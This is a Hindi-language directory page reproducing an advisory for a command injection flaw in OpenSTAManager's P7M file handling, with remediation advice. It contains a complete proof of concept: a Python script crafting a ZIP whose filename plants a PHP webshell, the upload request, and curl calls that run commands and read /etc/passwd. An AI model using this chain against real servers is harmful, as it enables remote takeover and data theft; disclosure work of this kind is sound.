Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-69212 — CVE-2025-69212 - OpenSTAManager में P7M फ़ाइल प्रोसेसिंग में OS Command Injection है | Kitploit
उपकरण/GitHubGitHub/lukasz-rybak/cve-2025-69212
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

CVE-2025-69212 - OpenSTAManager में P7M फ़ाइल प्रोसेसिंग में OS Command Injection है

रिपॉजिटरी देखें
44 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-69212: OpenSTAManager की P7M फ़ाइल प्रोसेसिंग में OS कमांड इंजेक्शन

अवलोकन

फ़ील्डविवरण
CVE IDCVE-2025-69212
गंभीरतागंभीर
परामर्शपरामर्श देखें
खोजकर्ताLukasz Rybak

प्रभावित उत्पाद

  • devcode-it/openstamanager (संस्करण: <= 2.9.8)

CWE वर्गीकरण

  • CWE-78: OS कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण ('OS कमांड इंजेक्शन')

विवरण

सारांश

P7M (हस्ताक्षरित XML) फ़ाइल डिकोडिंग कार्यक्षमता में एक गंभीर OS कमांड इंजेक्शन भेद्यता मौजूद है। एक प्रमाणित हमलावर दुर्भावनापूर्ण फ़ाइलनाम वाली .p7m फ़ाइल युक्त ZIP फ़ाइल अपलोड करके सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकता है।

भेद्य कोड

फ़ाइल: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

समस्या:

  • $file पैरामीटर को बिना सैनिटाइज़ेशन के सीधे exec() में पास किया जाता है
  • हालाँकि इसे डबल कोट्स में लपेटा गया है, एक हमलावर उन्हें एस्केप कर सकता है
  • फ़ाइलनाम अपलोड किए गए ZIP आर्काइव से आता है (उपयोगकर्ता-नियंत्रित)

हमला वेक्टर

प्रवेश बिंदु:

  1. plugins/importFE_ZIP/actions.php:126 (जब स्वचालित आयात सक्षम हो)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (कंस्ट्रक्टर)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

हमले का प्रवाह:

  1. हमलावर दुर्भावनापूर्ण फ़ाइलनाम वाला ZIP बनाता है
  2. importFE_ZIP प्लगइन के माध्यम से ZIP अपलोड करता है
  3. एप्लिकेशन ZIP निकालता है और फ़ाइलों पर पुनरावृत्ति करता है
  4. .p7m फ़ाइलों के लिए, decodeP7M() कॉल किया जाता है
  5. दुर्भावनापूर्ण फ़ाइलनाम exec() कमांड में इंजेक्ट किया जाता है
  6. मनमाना कमांड वेब सर्वर उपयोगकर्ता के रूप में निष्पादित होता है

प्रूफ़ ऑफ़ कॉन्सेप्ट

⚠️ महत्वपूर्ण नोट: PHP का ZipArchive::extractTo() फ़ाइलनामों को / कैरेक्टर पर विभाजित करता है। पेलोड के कमांड में / नहीं होना चाहिए। निरपेक्ष पथों के बजाय cd directory && command का उपयोग करें।

चरण 1: दुर्भावनापूर्ण ZIP बनाएँ

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

चरण 2: ZIP अपलोड करें

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
छवि छवि

चरण 3: शोषण परिणाम

प्रतिक्रिया (500 त्रुटि अपेक्षित है - XML पार्सिंग कमांड निष्पादन के बाद विफल होती है):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

सत्यापन - वेबशेल बनाई गई:

छवि

चरण 4: रिमोट कोड निष्पादन

वेबशेल बिना प्रमाणीकरण के सार्वजनिक रूप से सुलभ है:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
छवि

प्रभाव

  • रिमोट कोड निष्पादन: पूर्ण सर्वर समझौता
  • डेटा बहिर्गमन: सभी एप्लिकेशन डेटा और डेटाबेस तक पहुंच
  • विशेषाधिकार वृद्धि: यदि वेब सर्वर उन्नत विशेषाधिकारों के साथ चलता है तो संभावित वृद्धि
  • पर्सिस्टेंस: बैकडोर स्थापित करना और पहुंच बनाए रखना
  • लेटरल मूवमेंट: नेटवर्क पर अन्य सिस्टम में पिवट करना

पूर्वापेक्षाएँ

  • इनवॉइस आयात कार्यक्षमता तक पहुंच वाला प्रमाणित उपयोगकर्ता

निवारण

इनपुट सैनिटाइज़ेशन

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

या

प्रसंस्करण से पहले फ़ाइलनाम सत्यापित करें

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

श्रेय

खोजकर्ता: Łukasz Rybak

संदर्भ

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

अस्वीकरण

इस CVE को समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहां प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।

टूल डाउनलोड करें